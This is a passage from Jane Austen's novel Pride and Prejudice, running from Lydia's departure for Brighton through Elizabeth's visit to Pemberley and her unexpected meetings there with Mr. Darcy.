regiment, to accompany her to Brighton. This invaluable friend was a +very young woman, and very lately married. A resemblance in good humour +and good spirits had recommended her and Lydia to each other, and out of +their _three_ months' acquaintance they had been intimate _two_. + +The rapture of Lydia on this occasion, her adoration of Mrs. Forster, +the delight of Mrs. Bennet, and the mortification of Kitty, are scarcely +to be described. Wholly inattentive to her sister's feelings, Lydia +flew about the house in restless ecstasy, calling for everyone's +congratulations, and laughing and talking with more violence than ever; +whilst the luckless Kitty continued in the parlour repined at her fate +in terms as unreasonable as her accent was peevish. + +"I cannot see why Mrs. Forster should not ask _me_ as well as Lydia," +said she, "Though I am _not_ her particular friend. I have just as much +right to be asked as she has, and more too, for I am two years older." + +In vain did Elizabeth attempt to make her reasonable, and Jane to make +her resigned. As for Elizabeth herself, this invitation was so far from +exciting in her the same feelings as in her mother and Lydia, that she +considered it as the death warrant of all possibility of common sense +for the latter; and detestable as such a step must make her were it +known, she could not help secretly advising her father not to let her +go. She represented to him all the improprieties of Lydia's general +behaviour, the little advantage she could derive from the friendship of +such a woman as Mrs. Forster, and the probability of her being yet more +imprudent with such a companion at Brighton, where the temptations must +be greater than at home. He heard her attentively, and then said: + +"Lydia will never be easy until she has exposed herself in some public +place or other, and we can never expect her to do it with so +little expense or inconvenience to her family as under the present +circumstances." + +"If you were aware," said Elizabeth, "of the very great disadvantage to +us all which must arise from the public notice of Lydia's unguarded and +imprudent manner--nay, which has already arisen from it, I am sure you +would judge differently in the affair." + +"Already arisen?" repeated Mr. Bennet. "What, has she frightened away +some of your lovers? Poor little Lizzy! But do not be cast down. Such +squeamish youths as cannot bear to be connected with a little absurdity +are not worth a regret. Come, let me see the list of pitiful fellows who +have been kept aloof by Lydia's folly." + +"Indeed you are mistaken. I have no such injuries to resent. It is not +of particular, but of general evils, which I am now complaining. Our +importance, our respectability in the world must be affected by the +wild volatility, the assurance and disdain of all restraint which mark +Lydia's character. Excuse me, for I must speak plainly. If you, my dear +father, will not take the trouble of checking her exuberant spirits, and +of teaching her that her present pursuits are not to be the business of +her life, she will soon be beyond the reach of amendment. Her character +will be fixed, and she will, at sixteen, be the most determined flirt +that ever made herself or her family ridiculous; a flirt, too, in the +worst and meanest degree of flirtation; without any attraction beyond +youth and a tolerable person; and, from the ignorance and emptiness +of her mind, wholly unable to ward off any portion of that universal +contempt which her rage for admiration will excite. In this danger +Kitty also is comprehended. She will follow wherever Lydia leads. Vain, +ignorant, idle, and absolutely uncontrolled! Oh! my dear father, can you +suppose it possible that they will not be censured and despised wherever +they are known, and that their sisters will not be often involved in the +disgrace?" + +Mr. Bennet saw that her whole heart was in the subject, and +affectionately taking her hand said in reply: + +"Do not make yourself uneasy, my love. Wherever you and Jane are known +you must be respected and valued; and you will not appear to less +advantage for having a couple of--or I may say, three--very silly +sisters. We shall have no peace at Longbourn if Lydia does not go to +Brighton. Let her go, then. Colonel Forster is a sensible man, and will +keep her out of any real mischief; and she is luckily too poor to be an +object of prey to anybody. At Brighton she will be of less importance +even as a common flirt than she has been here. The officers will find +women better worth their notice. Let us hope, therefore, that her being +there may teach her her own insignificance. At any rate, she cannot grow +many degrees worse, without authorising us to lock her up for the rest +of her life." + +With this answer Elizabeth was forced to be content; but her own opinion +continued the same, and she left him disappointed and sorry. It was not +in her nature, however, to increase her vexations by dwelling on +them. She was confident of having performed her duty, and to fret +over unavoidable evils, or augment them by anxiety, was no part of her +disposition. + +Had Lydia and her mother known the substance of her conference with her +father, their indignation would hardly have found expression in their +united volubility. In Lydia's imagination, a visit to Brighton comprised +every possibility of earthly happiness. She saw, with the creative eye +of fancy, the streets of that gay bathing-place covered with officers. +She saw herself the object of attention, to tens and to scores of them +at present unknown. She saw all the glories of the camp--its tents +stretched forth in beauteous uniformity of lines, crowded with the young +and the gay, and dazzling with scarlet; and, to complete the view, she +saw herself seated beneath a tent, tenderly flirting with at least six +officers at once. + +Had she known her sister sought to tear her from such prospects and such +realities as these, what would have been her sensations? They could have +been understood only by her mother, who might have felt nearly the same. +Lydia's going to Brighton was all that consoled her for her melancholy +conviction of her husband's never intending to go there himself. + +But they were entirely ignorant of what had passed; and their raptures +continued, with little intermission, to the very day of Lydia's leaving +home. + +Elizabeth was now to see Mr. Wickham for the last time. Having been +frequently in company with him since her return, agitation was pretty +well over; the agitations of former partiality entirely so. She had even +learnt to detect, in the very gentleness which had first delighted +her, an affectation and a sameness to disgust and weary. In his present +behaviour to herself, moreover, she had a fresh source of displeasure, +for the inclination he soon testified of renewing those intentions which +had marked the early part of their acquaintance could only serve, after +what had since passed, to provoke her. She lost all concern for him in +finding herself thus selected as the object of such idle and frivolous +gallantry; and while she steadily repressed it, could not but feel the +reproof contained in his believing, that however long, and for whatever +cause, his attentions had been withdrawn, her vanity would be gratified, +and her preference secured at any time by their renewal. + +On the very last day of the regiment's remaining at Meryton, he dined, +with other of the officers, at Longbourn; and so little was Elizabeth +disposed to part from him in good humour, that on his making some +inquiry as to the manner in which her time had passed at Hunsford, she +mentioned Colonel Fitzwilliam's and Mr. Darcy's having both spent three +weeks at Rosings, and asked him, if he was acquainted with the former. + +He looked surprised, displeased, alarmed; but with a moment's +recollection and a returning smile, replied, that he had formerly seen +him often; and, after observing that he was a very gentlemanlike man, +asked her how she had liked him. Her answer was warmly in his favour. +With an air of indifference he soon afterwards added: + +"How long did you say he was at Rosings?" + +"Nearly three weeks." + +"And you saw him frequently?" + +"Yes, almost every day." + +"His manners are very different from his cousin's." + +"Yes, very different. But I think Mr. Darcy improves upon acquaintance." + +"Indeed!" cried Mr. Wickham with a look which did not escape her. "And +pray, may I ask?--" But checking himself, he added, in a gayer tone, "Is +it in address that he improves? Has he deigned to add aught of civility +to his ordinary style?--for I dare not hope," he continued in a lower +and more serious tone, "that he is improved in essentials." + +"Oh, no!" said Elizabeth. "In essentials, I believe, he is very much +what he ever was." + +While she spoke, Wickham looked as if scarcely knowing whether to +rejoice over her words, or to distrust their meaning. There was a +something in her countenance which made him listen with an apprehensive +and anxious attention, while she added: + +"When I said that he improved on acquaintance, I did not mean that +his mind or his manners were in a state of improvement, but that, from +knowing him better, his disposition was better understood." + +Wickham's alarm now appeared in a heightened complexion and agitated +look; for a few minutes he was silent, till, shaking off his +embarrassment, he turned to her again, and said in the gentlest of +accents: + +"You, who so well know my feeling towards Mr. Darcy, will readily +comprehend how sincerely I must rejoice that he is wise enough to assume +even the _appearance_ of what is right. His pride, in that direction, +may be of service, if not to himself, to many others, for it must only +deter him from such foul misconduct as I have suffered by. I only +fear that the sort of cautiousness to which you, I imagine, have been +alluding, is merely adopted on his visits to his aunt, of whose good +opinion and judgement he stands much in awe. His fear of her has always +operated, I know, when they were together; and a good deal is to be +imputed to his wish of forwarding the match with Miss de Bourgh, which I +am certain he has very much at heart." + +Elizabeth could not repress a smile at this, but she answered only by a +slight inclination of the head. She saw that he wanted to engage her on +the old subject of his grievances, and she was in no humour to indulge +him. The rest of the evening passed with the _appearance_, on his +side, of usual cheerfulness, but with no further attempt to distinguish +Elizabeth; and they parted at last with mutual civility, and possibly a +mutual desire of never meeting again. + +When the party broke up, Lydia returned with Mrs. Forster to Meryton, +from whence they were to set out early the next morning. The separation +between her and her family was rather noisy than pathetic. Kitty was the +only one who shed tears; but she did weep from vexation and envy. Mrs. +Bennet was diffuse in her good wishes for the felicity of her daughter, +and impressive in her injunctions that she should not miss the +opportunity of enjoying herself as much as possible--advice which +there was every reason to believe would be well attended to; and in +the clamorous happiness of Lydia herself in bidding farewell, the more +gentle adieus of her sisters were uttered without being heard. + + + +Chapter 42 + + +Had Elizabeth's opinion been all drawn from her own family, she could +not have formed a very pleasing opinion of conjugal felicity or domestic +comfort. Her father, captivated by youth and beauty, and that appearance +of good humour which youth and beauty generally give, had married a +woman whose weak understanding and illiberal mind had very early in +their marriage put an end to all real affection for her. Respect, +esteem, and confidence had vanished for ever; and all his views +of domestic happiness were overthrown. But Mr. Bennet was not of +a disposition to seek comfort for the disappointment which his own +imprudence had brought on, in any of those pleasures which too often +console the unfortunate for their folly or their vice. He was fond of +the country and of books; and from these tastes had arisen his principal +enjoyments. To his wife he was very little otherwise indebted, than as +her ignorance and folly had contributed to his amusement. This is not +the sort of happiness which a man would in general wish to owe to his +wife; but where other powers of entertainment are wanting, the true +philosopher will derive benefit from such as are given. + +Elizabeth, however, had never been blind to the impropriety of her +father's behaviour as a husband. She had always seen it with pain; but +respecting his abilities, and grateful for his affectionate treatment of +herself, she endeavoured to forget what she could not overlook, and to +banish from her thoughts that continual breach of conjugal obligation +and decorum which, in exposing his wife to the contempt of her own +children, was so highly reprehensible. But she had never felt so +strongly as now the disadvantages which must attend the children of so +unsuitable a marriage, nor ever been so fully aware of the evils arising +from so ill-judged a direction of talents; talents, which, rightly used, +might at least have preserved the respectability of his daughters, even +if incapable of enlarging the mind of his wife. + +When Elizabeth had rejoiced over Wickham's departure she found little +other cause for satisfaction in the loss of the regiment. Their parties +abroad were less varied than before, and at home she had a mother and +sister whose constant repinings at the dullness of everything around +them threw a real gloom over their domestic circle; and, though Kitty +might in time regain her natural degree of sense, since the disturbers +of her brain were removed, her other sister, from whose disposition +greater evil might be apprehended, was likely to be hardened in all +her folly and assurance by a situation of such double danger as a +watering-place and a camp. Upon the whole, therefore, she found, what +has been sometimes found before, that an event to which she had been +looking with impatient desire did not, in taking place, bring all the +satisfaction she had promised herself. It was consequently necessary to +name some other period for the commencement of actual felicity--to have +some other point on which her wishes and hopes might be fixed, and by +again enjoying the pleasure of anticipation, console herself for the +present, and prepare for another disappointment. Her tour to the Lakes +was now the object of her happiest thoughts; it was her best consolation +for all the uncomfortable hours which the discontentedness of her mother +and Kitty made inevitable; and could she have included Jane in the +scheme, every part of it would have been perfect. + +"But it is fortunate," thought she, "that I have something to wish for. +Were the whole arrangement complete, my disappointment would be certain. +But here, by carrying with me one ceaseless source of regret in my +sister's absence, I may reasonably hope to have all my expectations of +pleasure realised. A scheme of which every part promises delight can +never be successful; and general disappointment is only warded off by +the defence of some little peculiar vexation." + +When Lydia went away she promised to write very often and very minutely +to her mother and Kitty; but her letters were always long expected, and +always very short. Those to her mother contained little else than that +they were just returned from the library, where such and such officers +had attended them, and where she had seen such beautiful ornaments as +made her quite wild; that she had a new gown, or a new parasol, which +she would have described more fully, but was obliged to leave off in a +violent hurry, as Mrs. Forster called her, and they were going off to +the camp; and from her correspondence with her sister, there was still +less to be learnt--for her letters to Kitty, though rather longer, were +much too full of lines under the words to be made public. + +After the first fortnight or three weeks of her absence, health, good +humour, and cheerfulness began to reappear at Longbourn. Everything wore +a happier aspect. The families who had been in town for the winter came +back again, and summer finery and summer engagements arose. Mrs. Bennet +was restored to her usual querulous serenity; and, by the middle of +June, Kitty was so much recovered as to be able to enter Meryton without +tears; an event of such happy promise as to make Elizabeth hope that by +the following Christmas she might be so tolerably reasonable as not to +mention an officer above once a day, unless, by some cruel and malicious +arrangement at the War Office, another regiment should be quartered in +Meryton. + +The time fixed for the beginning of their northern tour was now fast +approaching, and a fortnight only was wanting of it, when a letter +arrived from Mrs. Gardiner, which at once delayed its commencement and +curtailed its extent. Mr. Gardiner would be prevented by business from +setting out till a fortnight later in July, and must be in London again +within a month, and as that left too short a period for them to go so +far, and see so much as they had proposed, or at least to see it with +the leisure and comfort they had built on, they were obliged to give up +the Lakes, and substitute a more contracted tour, and, according to the +present plan, were to go no farther northwards than Derbyshire. In that +county there was enough to be seen to occupy the chief of their three +weeks; and to Mrs. Gardiner it had a peculiarly strong attraction. The +town where she had formerly passed some years of her life, and where +they were now to spend a few days, was probably as great an object of +her curiosity as all the celebrated beauties of Matlock, Chatsworth, +Dovedale, or the Peak. + +Elizabeth was excessively disappointed; she had set her heart on seeing +the Lakes, and still thought there might have been time enough. But it +was her business to be satisfied--and certainly her temper to be happy; +and all was soon right again. + +With the mention of Derbyshire there were many ideas connected. It was +impossible for her to see the word without thinking of Pemberley and its +owner. "But surely," said she, "I may enter his county with impunity, +and rob it of a few petrified spars without his perceiving me." + +The period of expectation was now doubled. Four weeks were to pass away +before her uncle and aunt's arrival. But they did pass away, and Mr. +and Mrs. Gardiner, with their four children, did at length appear at +Longbourn. The children, two girls of six and eight years old, and two +younger boys, were to be left under the particular care of their +cousin Jane, who was the general favourite, and whose steady sense and +sweetness of temper exactly adapted her for attending to them in every +way--teaching them, playing with them, and loving them. + +The Gardiners stayed only one night at Longbourn, and set off the +next morning with Elizabeth in pursuit of novelty and amusement. +One enjoyment was certain--that of suitableness of companions; +a suitableness which comprehended health and temper to bear +inconveniences--cheerfulness to enhance every pleasure--and affection +and intelligence, which might supply it among themselves if there were +disappointments abroad. + +It is not the object of this work to give a description of Derbyshire, +nor of any of the remarkable places through which their route thither +lay; Oxford, Blenheim, Warwick, Kenilworth, Birmingham, etc. are +sufficiently known. A small part of Derbyshire is all the present +concern. To the little town of Lambton, the scene of Mrs. Gardiner's +former residence, and where she had lately learned some acquaintance +still remained, they bent their steps, after having seen all the +principal wonders of the country; and within five miles of Lambton, +Elizabeth found from her aunt that Pemberley was situated. It was not +in their direct road, nor more than a mile or two out of it. In +talking over their route the evening before, Mrs. Gardiner expressed +an inclination to see the place again. Mr. Gardiner declared his +willingness, and Elizabeth was applied to for her approbation. + +"My love, should not you like to see a place of which you have heard +so much?" said her aunt; "a place, too, with which so many of your +acquaintances are connected. Wickham passed all his youth there, you +know." + +Elizabeth was distressed. She felt that she had no business at +Pemberley, and was obliged to assume a disinclination for seeing it. She +must own that she was tired of seeing great houses; after going over so +many, she really had no pleasure in fine carpets or satin curtains. + +Mrs. Gardiner abused her stupidity. "If it were merely a fine house +richly furnished," said she, "I should not care about it myself; but +the grounds are delightful. They have some of the finest woods in the +country." + +Elizabeth said no more--but her mind could not acquiesce. The +possibility of meeting Mr. Darcy, while viewing the place, instantly +occurred. It would be dreadful! She blushed at the very idea, and +thought it would be better to speak openly to her aunt than to run such +a risk. But against this there were objections; and she finally resolved +that it could be the last resource, if her private inquiries to the +absence of the family were unfavourably answered. + +Accordingly, when she retired at night, she asked the chambermaid +whether Pemberley were not a very fine place? what was the name of its +proprietor? and, with no little alarm, whether the family were down for +the summer? A most welcome negative followed the last question--and her +alarms now being removed, she was at leisure to feel a great deal of +curiosity to see the house herself; and when the subject was revived the +next morning, and she was again applied to, could readily answer, and +with a proper air of indifference, that she had not really any dislike +to the scheme. To Pemberley, therefore, they were to go. + + + +Chapter 43 + + +Elizabeth, as they drove along, watched for the first appearance of +Pemberley Woods with some perturbation; and when at length they turned +in at the lodge, her spirits were in a high flutter. + +The park was very large, and contained great variety of ground. They +entered it in one of its lowest points, and drove for some time through +a beautiful wood stretching over a wide extent. + +Elizabeth's mind was too full for conversation, but she saw and admired +every remarkable spot and point of view. They gradually ascended for +half-a-mile, and then found themselves at the top of a considerable +eminence, where the wood ceased, and the eye was instantly caught by +Pemberley House, situated on the opposite side of a valley, into which +the road with some abruptness wound. It was a large, handsome stone +building, standing well on rising ground, and backed by a ridge of +high woody hills; and in front, a stream of some natural importance was +swelled into greater, but without any artificial appearance. Its banks +were neither formal nor falsely adorned. Elizabeth was delighted. She +had never seen a place for which nature had done more, or where natural +beauty had been so little counteracted by an awkward taste. They were +all of them warm in their admiration; and at that moment she felt that +to be mistress of Pemberley might be something! + +They descended the hill, crossed the bridge, and drove to the door; and, +while examining the nearer aspect of the house, all her apprehension of +meeting its owner returned. She dreaded lest the chambermaid had been +mistaken. On applying to see the place, they were admitted into the +hall; and Elizabeth, as they waited for the housekeeper, had leisure to +wonder at her being where she was. + +The housekeeper came; a respectable-looking elderly woman, much less +fine, and more civil, than she had any notion of finding her. They +followed her into the dining-parlour. It was a large, well proportioned +room, handsomely fitted up. Elizabeth, after slightly surveying it, went +to a window to enjoy its prospect. The hill, crowned with wood, which +they had descended, receiving increased abruptness from the distance, +was a beautiful object. Every disposition of the ground was good; and +she looked on the whole scene, the river, the trees scattered on its +banks and the winding of the valley, as far as she could trace it, +with delight. As they passed into other rooms these objects were taking +different positions; but from every window there were beauties to be +seen. The rooms were lofty and handsome, and their furniture suitable to +the fortune of its proprietor; but Elizabeth saw, with admiration of +his taste, that it was neither gaudy nor uselessly fine; with less of +splendour, and more real elegance, than the furniture of Rosings. + +"And of this place," thought she, "I might have been mistress! With +these rooms I might now have been familiarly acquainted! Instead of +viewing them as a stranger, I might have rejoiced in them as my own, and +welcomed to them as visitors my uncle and aunt. But no,"--recollecting +herself--"that could never be; my uncle and aunt would have been lost to +me; I should not have been allowed to invite them." + +This was a lucky recollection--it saved her from something very like +regret. + +She longed to inquire of the housekeeper whether her master was really +absent, but had not the courage for it. At length however, the question +was asked by her uncle; and she turned away with alarm, while Mrs. +Reynolds replied that he was, adding, "But we expect him to-morrow, with +a large party of friends." How rejoiced was Elizabeth that their own +journey had not by any circumstance been delayed a day! + +Her aunt now called her to look at a picture. She approached and saw the +likeness of Mr. Wickham, suspended, amongst several other miniatures, +over the mantelpiece. Her aunt asked her, smilingly, how she liked it. +The housekeeper came forward, and told them it was a picture of a young +gentleman, the son of her late master's steward, who had been brought +up by him at his own expense. "He is now gone into the army," she added; +"but I am afraid he has turned out very wild." + +Mrs. Gardiner looked at her niece with a smile, but Elizabeth could not +return it. + +"And that," said Mrs. Reynolds, pointing to another of the miniatures, +"is my master--and very like him. It was drawn at the same time as the +other--about eight years ago." + +"I have heard much of your master's fine person," said Mrs. Gardiner, +looking at the picture; "it is a handsome face. But, Lizzy, you can tell +us whether it is like or not." + +Mrs. Reynolds respect for Elizabeth seemed to increase on this +intimation of her knowing her master. + +"Does that young lady know Mr. Darcy?" + +Elizabeth coloured, and said: "A little." + +"And do not you think him a very handsome gentleman, ma'am?" + +"Yes, very handsome." + +"I am sure I know none so handsome; but in the gallery up stairs you +will see a finer, larger picture of him than this. This room was my late +master's favourite room, and these miniatures are just as they used to +be then. He was very fond of them." + +This accounted to Elizabeth for Mr. Wickham's being among them. + +Mrs. Reynolds then directed their attention to one of Miss Darcy, drawn +when she was only eight years old. + +"And is Miss Darcy as handsome as her brother?" said Mrs. Gardiner. + +"Oh! yes--the handsomest young lady that ever was seen; and so +accomplished!--She plays and sings all day long. In the next room is +a new instrument just come down for her--a present from my master; she +comes here to-morrow with him." + +Mr. Gardiner, whose manners were very easy and pleasant, encouraged her +communicativeness by his questions and remarks; Mrs. Reynolds, either +by pride or attachment, had evidently great pleasure in talking of her +master and his sister. + +"Is your master much at Pemberley in the course of the year?" + +"Not so much as I could wish, sir; but I dare say he may spend half his +time here; and Miss Darcy is always down for the summer months." + +"Except," thought Elizabeth, "when she goes to Ramsgate." + +"If your master would marry, you might see more of him." + +"Yes, sir; but I do not know when _that_ will be. I do not know who is +good enough for him." + +Mr. and Mrs. Gardiner smiled. Elizabeth could not help saying, "It is +very much to his credit, I am sure, that you should think so." + +"I say no more than the truth, and everybody will say that knows him," +replied the other. Elizabeth thought this was going pretty far; and she +listened with increasing astonishment as the housekeeper added, "I have +never known a cross word from him in my life, and I have known him ever +since he was four years old." + +This was praise, of all others most extraordinary, most opposite to her +ideas. That he was not a good-tempered man had been her firmest opinion. +Her keenest attention was awakened; she longed to hear more, and was +grateful to her uncle for saying: + +"There are very few people of whom so much can be said. You are lucky in +having such a master." + +"Yes, sir, I know I am. If I were to go through the world, I could +not meet with a better. But I have always observed, that they who are +good-natured when children, are good-natured when they grow up; and +he was always the sweetest-tempered, most generous-hearted boy in the +world." + +Elizabeth almost stared at her. "Can this be Mr. Darcy?" thought she. + +"His father was an excellent man," said Mrs. Gardiner. + +"Yes, ma'am, that he was indeed; and his son will be just like him--just +as affable to the poor." + +Elizabeth listened, wondered, doubted, and was impatient for more. Mrs. +Reynolds could interest her on no other point. She related the subjects +of the pictures, the dimensions of the rooms, and the price of the +furniture, in vain. Mr. Gardiner, highly amused by the kind of family +prejudice to which he attributed her excessive commendation of her +master, soon led again to the subject; and she dwelt with energy on his +many merits as they proceeded together up the great staircase. + +"He is the best landlord, and the best master," said she, "that ever +lived; not like the wild young men nowadays, who think of nothing but +themselves. There is not one of his tenants or servants but will give +him a good name. Some people call him proud; but I am sure I never saw +anything of it. To my fancy, it is only because he does not rattle away +like other young men." + +"In what an amiable light does this place him!" thought Elizabeth. + +"This fine account of him," whispered her aunt as they walked, "is not +quite consistent with his behaviour to our poor friend." + +"Perhaps we might be deceived." + +"That is not very likely; our authority was too good." + +On reaching the spacious lobby above they were shown into a very pretty +sitting-room, lately fitted up with greater elegance and lightness than +the apartments below; and were informed that it was but just done to +give pleasure to Miss Darcy, who had taken a liking to the room when +last at Pemberley. + +"He is certainly a good brother," said Elizabeth, as she walked towards +one of the windows. + +Mrs. Reynolds anticipated Miss Darcy's delight, when she should enter +the room. "And this is always the way with him," she added. "Whatever +can give his sister any pleasure is sure to be done in a moment. There +is nothing he would not do for her." + +The picture-gallery, and two or three of the principal bedrooms, were +all that remained to be shown. In the former were many good paintings; +but Elizabeth knew nothing of the art; and from such as had been already +visible below, she had willingly turned to look at some drawings of Miss +Darcy's, in crayons, whose subjects were usually more interesting, and +also more intelligible. + +In the gallery there were many family portraits, but they could have +little to fix the attention of a stranger. Elizabeth walked in quest of +the only face whose features would be known to her. At last it arrested +her--and she beheld a striking resemblance to Mr. Darcy, with such a +smile over the face as she remembered to have sometimes seen when he +looked at her. She stood several minutes before the picture, in earnest +contemplation, and returned to it again before they quitted the gallery. +Mrs. Reynolds informed them that it had been taken in his father's +lifetime. + +There was certainly at this moment, in Elizabeth's mind, a more gentle +sensation towards the original than she had ever felt at the height of +their acquaintance. The commendation bestowed on him by Mrs. Reynolds +was of no trifling nature. What praise is more valuable than the praise +of an intelligent servant? As a brother, a landlord, a master, she +considered how many people's happiness were in his guardianship!--how +much of pleasure or pain was it in his power to bestow!--how much of +good or evil must be done by him! Every idea that had been brought +forward by the housekeeper was favourable to his character, and as she +stood before the canvas on which he was represented, and fixed his +eyes upon herself, she thought of his regard with a deeper sentiment of +gratitude than it had ever raised before; she remembered its warmth, and +softened its impropriety of expression. + +When all of the house that was open to general inspection had been seen, +they returned downstairs, and, taking leave of the housekeeper, were +consigned over to the gardener, who met them at the hall-door. + +As they walked across the hall towards the river, Elizabeth turned back +to look again; her uncle and aunt stopped also, and while the former +was conjecturing as to the date of the building, the owner of it himself +suddenly came forward from the road, which led behind it to the stables. + +They were within twenty yards of each other, and so abrupt was his +appearance, that it was impossible to avoid his sight. Their eyes +instantly met, and the cheeks of both were overspread with the deepest +blush. He absolutely started, and for a moment seemed immovable from +surprise; but shortly recovering himself, advanced towards the party, +and spoke to Elizabeth, if not in terms of perfect composure, at least +of perfect civility. + +She had instinctively turned away; but stopping on his approach, +received his compliments with an embarrassment impossible to be +overcome. Had his first appearance, or his resemblance to the picture +they had just been examining, been insufficient to assure the other two +that they now saw Mr. Darcy, the gardener's expression of surprise, on +beholding his master, must immediately have told it. They stood a little +aloof while he was talking to their niece, who, astonished and confused, +scarcely dared lift her eyes to his face, and knew not what answer +she returned to his civil inquiries after her family. Amazed at the +alteration of his manner since they last parted, every sentence that +he uttered was increasing her embarrassment; and every idea of the +impropriety of her being found there recurring to her mind, the few +minutes in which they continued were some of the most uncomfortable in +her life. Nor did he seem much more at ease; when he spoke, his accent +had none of its usual sedateness; and he repeated his inquiries as +to the time of her having left Longbourn, and of her having stayed in +Derbyshire, so often, and in so hurried a way, as plainly spoke the +distraction of his thoughts. + +At length every idea seemed to fail him; and, after standing a few +moments without saying a word, he suddenly recollected himself, and took +leave. + +The others then joined her, and expressed admiration of his figure; but +Elizabeth heard not a word, and wholly engrossed by her own feelings, +followed them in silence. She was overpowered by shame and vexation. Her +coming there was the most unfortunate, the most ill-judged thing in the +world! How strange it must appear to him! In what a disgraceful light +might it not strike so vain a man! It might seem as if she had purposely +thrown herself in his way again! Oh! why did she come? Or, why did he +thus come a day before he was expected? Had they been only ten minutes +sooner, they should have been beyond the reach of his discrimination; +for it was plain that he was that moment arrived--that moment alighted +from his horse or his carriage. She blushed again and again over +the perverseness of the meeting. And his behaviour, so strikingly +altered--what could it mean? That he should even speak to her was +amazing!--but to speak with such civility, to inquire after her family! +Never in her life had she seen his manners so little dignified, never +had he spoken with such gentleness as on this unexpected meeting. What +a contrast did it offer to his last address in Rosings Park, when he put +his letter into her hand! She knew not what to think, or how to account +for it. + +They had now entered a beautiful walk by the side of the water, and +every step was bringing forward a nobler fall of ground, or a finer +reach of the woods to which they were approaching; but it was some time +before Elizabeth was sensible of any of it; and, though she answered +mechanically to the repeated appeals of her uncle and aunt, and +seemed to direct her eyes to such objects as they pointed out, she +distinguished no part of the scene. Her thoughts were all fixed on that +one spot of Pemberley House, whichever it might be, where Mr. Darcy then +was. She longed to know what at the moment was passing in his mind--in +what manner he thought of her, and whether, in defiance of everything, +she was still dear to him. Perhaps he had been civil only because he +felt himself at ease; yet there had been _that_ in his voice which was +not like ease. Whether he had felt more of pain or of pleasure in +seeing her she could not tell, but he certainly had not seen her with +composure. + +At length, however, the remarks of her companions on her absence of mind +aroused her, and she felt the necessity of appearing more like herself. + +They entered the woods, and bidding adieu to the river for a while, +ascended some of the higher grounds; when, in spots where the opening of +the trees gave the eye power to wander, were many charming views of the +valley, the opposite hills, with the long range of woods overspreading +many, and occasionally part of the stream. Mr. Gardiner expressed a wish +of going round the whole park, but feared it might be beyond a walk. +With a triumphant smile they were told that it was ten miles round. +It settled the matter; and they pursued the accustomed circuit; which +brought them again, after some time, in a descent among hanging woods, +to the edge of the water, and one of its narrowest parts. They crossed +it by a simple bridge, in character with the general air of the scene; +it was a spot less adorned than any they had yet visited; and the +valley, here contracted into a glen, allowed room only for the stream, +and a narrow walk amidst the rough coppice-wood which bordered it. +Elizabeth longed to explore its windings; but when they had crossed the +bridge, and perceived their distance from the house, Mrs. Gardiner, +who was not a great walker, could go no farther, and thought only +of returning to the carriage as quickly as possible. Her niece was, +therefore, obliged to submit, and they took their way towards the house +on the opposite side of the river, in the nearest direction; but their +progress was slow, for Mr. Gardiner, though seldom able to indulge the +taste, was very fond of fishing, and was so much engaged in watching the +occasional appearance of some trout in the water, and talking to the +man about them, that he advanced but little. Whilst wandering on in this +slow manner, they were again surprised, and Elizabeth's astonishment +was quite equal to what it had been at first, by the sight of Mr. Darcy +approaching them, and at no great distance. The walk being here +less sheltered than on the other side, allowed them to see him before +they met. Elizabeth, however astonished, was at least more prepared +for an interview than before, and resolved to appear and to speak with +calmness, if he really intended to meet them. For a few moments, indeed, +she felt that he would probably strike into some other path. The idea +lasted while a turning in the walk concealed him from their view; the +turning past, he was immediately before them. With a glance, she saw +that he had lost none of his recent civility; and, to imitate his +politeness, she began, as they met, to admire the beauty of the place; +but she had not got beyond the words "delightful," and "charming," when +some unlucky recollections obtruded, and she fancied that praise of +Pemberley from her might be mischievously construed. Her colour changed, +and she said no more. + +Mrs. Gardiner was standing a little behind; and on her pausing, he asked +her if she would do him the honour of introducing him to her friends. +This was a stroke of civility for which she was quite unprepared; +and she could hardly suppress a smile at his being now seeking the +acquaintance of some of those very people against whom his pride had +revolted in his offer to herself. "What will be his surprise," thought +she, "when he knows who they are? He takes them now for people of +fashion." + +The introduction, however, was immediately made; and as she named their +relationship to herself, she stole a sly look at him, to see how he bore +it, and was not without the expectation of his decamping as fast as he +could from such disgraceful companions. That he was _surprised_ by the +connection was evident; he sustained it, however, with fortitude, and +so far from going away, turned back with them, and entered into +conversation with Mr. Gardiner. Elizabeth could not but be pleased, +could not but triumph. It was consoling that he should know she had +some relations for whom there was no need to blush. She listened most +attentively to all that passed between them, and gloried in every +expression, every sentence of her uncle, which marked his intelligence, +his taste, or his good manners. + +The conversation soon turned upon fishing; and she heard Mr. Darcy +invite him, with the greatest civility, to fish there as often as he +chose while he continued in the neighbourhood, offering at the same time +to supply him with fishing tackle, and pointing out those parts of +the stream where there was usually most sport. Mrs. Gardiner, who was +walking arm-in-arm with Elizabeth, gave her a look expressive of wonder. +Elizabeth said nothing, but it gratified her exceedingly; the compliment +must be all for herself. Her astonishment, however, was extreme, and +continually was she repeating, "Why is he so altered? From what can +it proceed? It cannot be for _me_--it cannot be for _my_ sake that his +manners are thus softened. My reproofs at Hunsford could not work such a +change as this. It is impossible that he should still love me." + +After walking some time in this way, the two ladies in front, the two +gentlemen behind, on resuming their places, after descending to +the brink of the river for the better inspection of some curious +water-plant, there chanced to be a little alteration. It originated +in Mrs. Gardiner, who, fatigued by the exercise of the morning, found +Elizabeth's arm inadequate to her support, and consequently preferred +her husband's. Mr. Darcy took her place by her niece, and they walked on +together. After a short silence, the lady first spoke. She wished him +to know that she had been assured of his absence before she came to the +place, and accordingly began by observing, that his arrival had been +very unexpected--"for your housekeeper," she added, "informed us that +you would certainly not be here till to-morrow; and indeed, before we +left Bakewell, we understood that you were not immediately expected +in the country." He acknowledged the truth of it all, and said that +business with his steward had occasioned his coming forward a few hours +before the rest of the party with whom he had been travelling. "They +will join me early to-morrow," he continued, "and among them are some +who will claim an acquaintance with you--Mr. Bingley and his sisters." + +Elizabeth answered only by a slight bow. Her thoughts were instantly +driven back to the time when Mr. Bingley's name had been the last +mentioned between them; and, if she might judge by his complexion, _his_ +mind was not very differently engaged. + +"There is also one other person in the party," he continued after a +pause, "who more particularly wishes to be known to you. Will you allow +me, or do I ask too much, to introduce my sister to your acquaintance +during your stay at Lambton?" + +The surprise of such an application was great indeed; it was too great +for her to know in what manner she acceded to it. She immediately felt +that whatever desire Miss Darcy might have of being acquainted with her +must be the work of her brother, and, without looking farther, it was +satisfactory; it was gratifying to know that his resentment had not made +him think really ill of her. + +They now walked on in silence, each of them deep in thought. Elizabeth +was not comfortable; that was impossible; but she was flattered and +pleased. His wish of introducing his sister to her was a compliment of +the highest kind. They soon outstripped the others, and when they had +reached the carriage, Mr. and Mrs. Gardiner were half a 